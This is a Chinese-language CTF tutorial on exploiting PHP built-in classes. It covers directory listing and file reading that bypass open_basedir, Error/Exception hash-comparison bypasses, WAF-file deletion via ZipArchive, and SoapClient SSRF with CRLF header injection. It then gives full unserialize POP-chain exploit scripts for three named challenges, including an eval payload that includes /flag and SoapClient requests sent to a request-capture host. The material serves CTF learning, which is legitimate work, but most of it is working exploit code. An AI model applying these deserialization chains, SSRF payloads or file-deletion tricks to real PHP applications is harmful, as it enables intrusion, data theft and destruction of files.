php原生类
php原生类
php的内置类,即不需要在当前脚本写出,但也可以实例化的类
可通过一个脚本寻找php中的原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
比赛中常用的有以下几个
Error
Exception
SoapClient
DirectoryIterator
Filesystemlterator
SimpleXMLElement
按照用途可分为以下几个
遍历目录
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类
查阅官方文档,可以发现
FilesystemIterator是DirectoryIterator的子类
在DirectoryIterator下是有__toString()方法
<?php
$dirname = new DirectoryIterator("/");
echo $dirname;
这样会触发__toString() 方法,输出根目录下的第一个文件名
通过foreach进行循环遍历可输出指定目录下所有文件名
<?php
$dirname = new DirectoryIterator("/");
foreach($dirname as $a){
echo($a->__toString().'<br>');
}
可以在本地再小小测试下
<?php
highlight_file(__file__);
$shell = $_GET['shell'];
$dir = new DirectoryIterator($shell);
foreach($dir as $f){
echo($f->__toString().'<br>'); //不加__toString()也可,因为echo时会自动调用
}
可以加上和glob协议的使用,可以更快速精准的查找
FilesystemIterator用法和DirectoryIterator一样
GlobIterator类与前两个类的用法也相似,只是GlobIterator 类支持直接通过模式匹配来寻找文件路径,相当于自身带有glob协议
<?php
$dir = new GlobIterator("/*txt*");
echo $dir;
这三种遍历目录的方法可以无视open_basedir对目录的限制
读取文件
SplFileObject 类
该类的构造方法可以构造一个新的文件对象用于后续的读取。
<?php
highlight_file(__file__);
$context = new SplFileObject('/1.txt');
echo $context;
但每次只能读取文件中的一行内容
同样通过遍历可以读取所有内容
<?php
$context = new SplFileObject('/1.txt');
foreach($context as $f){
echo($f);
}
有个有趣的东西
<?php
echo ('system')('whoami');
相当于执行了system('whoami')
Error/Exception内置类进行 XSS(日后补充)
Error/Exception内置类绕过哈希比较
Error 是所有PHP内部错误类的基类。
属性
message 错误消息内容
code 错误代码
file 抛出错误的文件名
line 抛出错误的行数
previous 之前抛出的异常
string 字符串形式的堆栈跟踪
trace 数组形式的堆栈跟踪
**Exception **是所有异常的基类
属性
message 异常消息内容
code 异常代码
file 抛出异常的文件名
line 抛出异常在该文件中的行号
previous 之前抛出的异常
string 字符串形式的堆栈跟踪
trace 数组形式的堆栈跟踪
同样的,在这两个类里也有__toString 方法
看看会返回什么
<?php
$a = new Error("test",1);
echo $a;
可以发现返回了错误信息"test"和错误在哪行"3",但是传入的错误代码"1"并没有被回显出来
看下面这个例子
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
if($a === $b) {
echo "a=b";
}
else {
echo "a!=b";
}
echo "<br>";
if(md5($a) === md5($b)) {
echo "md5后:a=b";
}
echo "<br>";
if(sha1($a) === sha1($b)) {
echo "sha1后:a=b";
}
所以可使用这两个类绕过哈希的判断,但是要注意的是Error类是从php7才开始引入的,而Exception类从php5就开始引入了
[2020 极客大挑战]Greatphp
题目源码
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
一个经典的哈希值判断绕过题,使用Error/Exception类绕过
因为过滤了小括号,导致无法使用函数,可以用include直接包含/flag;过滤了引号,可以用url取反绕过
POC
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
在$str前面再加上一个?>
是因为Exception 类与 Error 的 __toString 方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段无用的信息"Error:......"所以要先用?>闭合一下,变成eval("...Error: ?><?php shell ?>")
,这样才能成功执行命令
ZipArchive 类删除文件
ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理
ZipArchive类中存在一个open方法
可以看到,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除
所以在做题时可以利用ZipArchive类调用open方法删除掉waf文件
NepCTF2021 梦里花开牡丹亭
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}
pop链
Game::wakeup->login::checking->Open::open
先读shell.php里的内容
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3")
md5解出来就是admin
payload1
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$a=new Game();
$a->file=new Open();
echo base64_encode(serialize($a));
?>
得到shell.php源码
<?php
function shell($cmd){
if(strlen($cmd)<10){ if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}login success you can to open shell file!
再结合open类
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
必须要不存在waf.txt,才可以执行命令,这里就只能使用ZipArchive 类调用他的open方法来将waf.txt给删除
即构造ZipArchive::open(waf.txt, ZipArchive::OVERWRITE)
payload2
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$a=new Game();
$a->file=new ZipArchive();
$a->filename="waf.txt";
$a->content = ZipArchive::OVERWRITE;
echo base64_encode(serialize($a));
?>
执行后即可删除waf.txt,由于shell.php中过滤了很多函数,所以这里可使用n\l /flag
读取
payload3
<?php
class Game{
public $username;
public $password;
public $choice;
public $register="admin";
public $file;
public $filename='waf.txt';
public $content='n\l /flag';
public function __construct()
{
$this->username='admin';
$this->password='admin';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('1.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
$a=new Game();
$a->file=new Open();
echo base64_encode(serialize($a));
?>
SoapClient 类进行 SSRF
最主要的是这个类里带有一个__call
方法,当__call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求,正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。
soap类的构造函数:
public SoapClient::SoapClient(mixed $wsdl [,array $options ])
第一个参数指明是否是wsdl模式,为null则表示非wsdl模式。
第二个参数为一个数组,在wsdl模式下,此参数可选;在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,uri是SOAP服务的目标命名空间。
在了解完参数之后,就可以利用该类来进行ssrf了
首先监听一个网站,这里用的是RequestBin
test1.php
<?php
$a = new SoapClient(null,array('location'=>'https://requestbin.io/103buei1', 'uri'=>'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
运行test.php后
可以看到成功进行了ssrf
配合CRLF可以插入任意HTTP头
CRLF 指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)。CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以又称为HTTP响应拆分漏洞(HTTP Response Splitting)。
test2.php
<?php
$target = 'https://requestbin.io/103buei1';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "test\r\nCookie: PHPSESSID=test", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
成功插入自定义的Cookie
还有一个需要注意的点,因为我们传输的是POST数据,所以这里还需要令Content-Type
的值为application/x-www-form-urlencoded
这里因为Content-Type
在User-Agent
的下面,所以我们可以通过更改User-Agent
的值来替换掉原来的Content-Type
的值
test3.php
<?php
$target = 'https://requestbin.io/103buei1';
$data = 'test';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=test'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'Test^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($data).'^^^^'.$data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo $b;
$c = unserialize($b);
$c->a();
?>
[MRCTF2020]Ezpop_Revenge
打开题目,是一个Typecho写的页面,dirsearch扫出www.zip
在flag.php中
很明显的这是个ssrf+反序列化的题目,所以想到利用SoapClient
类来实现ssrf
,当访问后,会把flag
写进访问的session
中
在usr\plugins\HelloWorld\Plugin.php
中找到触发点
如果存在$_REQUEST['admin']
,就会打印出session,正好flag就在session中,同时将对传入的Coincid3nc3
参数进行反序列化
同样在Plugin.php中
在HelloWorld_DB类中发现了__wakeup
魔术方法
在进行反序列化unserialize时,会调用__wakeup方法
可以发现,在__wakeup()
方法内实例化了Typecho_Db
类
跟进到/var/Typecho/Db.php
其中$adapterName被当成字符串拼接,就会触发__toString
this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
__toString()当一个对象被当作字符串对待的时候,会触发这个魔术方法
全局搜索__toString
,跟进到/var/Typecho/Db/Query.php
其中有用的部分
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}
return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}
}
其中case Typecho_Db::SELECT=SELECT
class Typecho_Db
{
const DELETE = 'DELETE';
}
所以如果令$this->_sqlPreBuild['action']
为SELECT,就能执行return $this->_adapter->parseSelect($this->_sqlPreBuild);
,也就是调用$this->_adapter
的parseSelect()
方法,此时,令$this->_adapter
为SoapClient类,由于SoapClient类中没有parseSelect()方法,就能触发了SoapClient
的__call()
魔术方法,而__call()
正是实现SSRF的关键,关于SoapClient
类实现ssrf
所以整体思路就有了
POP链
1、进行反序列化的时候,就会触发__wakeup
魔术方法,在__wakeup
方法里实例化了Typecho_Db
类
2、Typecho_Db
类中将一个对象当作字符串拼接触发了__toString
魔术方法
3、在__toString()
内,如果令$_sqlPreBuild['action']
为SELECT
就会触发$_adapter
的parseSelect()
方法
4、令$_adapter
为SoapClient
类,由于SoapClient类中没有parseSelect()方法,就会触发SoapClient
的__call()
魔术方法,实现ssrf
调用点
在/var/Typecho/Plugin.php
中
访问/page_admin
的时候,会自动加载HelloWorld_Plugin
类,而且会自动调用action
函数
exp解析
POC
<?php
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct()
{
$target = 'http://127.0.0.1/flag.php';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=a86167abe7j6mjojp3o5dvkn47'
);
$z = new SoapClient(null, array('location' => $target, 'user_agent' => 'aaa^^' . join('^^', $headers), 'uri' => "aaab"));
$this->_sqlPreBuild = array("action" => "SELECT");
$this->_adapter = $z;
}
}
class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = ["hello" => new Typecho_Db_Query()];
}
}
//下面这个替换函数不知道是来自哪个师傅的
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}
$a = new HelloWorld_DB();
$b = serialize($a);
$c = preg_replace(" /\^\^/", "\r\n", $b);
$d = urlencode($c);
$e = preg_replace('/%00/', '%5c%30%30', $d);
$f = decorate(urldecode($e));
echo base64_encode($f);
1.将小写的s换成大写的S,并添加\00
这是因为private属性会在反序列化的生成一个标志性的%00
1.PHP在序列化时属性为private和protected的变量会引入不可见字符\x00,而在输出和复制的时候可能会遗失这些信息,导致反序列化的时候出现错误。
2.private属性序列化的时候会引入两个\x00,这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至会导致截断,protected属性会引入\x00*\x00。
3.在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
2.添加\r\n
,base64编码
因为想要带SESSION出来,必须要把自己的PHPSESSID传过去,然而SOAP并不能设置Cookie,因此需要CRLF。SoapClient可以设置UA,所以在UA后加上\r\nCookie: PHPSESSID=xxx就能添加一个Cookie,就能带上session.
自己的PHPSESSID就是访问/page_admin
得到的
得到poc后,在/page_admin
处POST我们POC生成的payload
就能利用soap类去访问flag.php从而实现SSRF把flag带到session中,最后带上admin参数并将session替换成自己的PHPSESION即可得到flag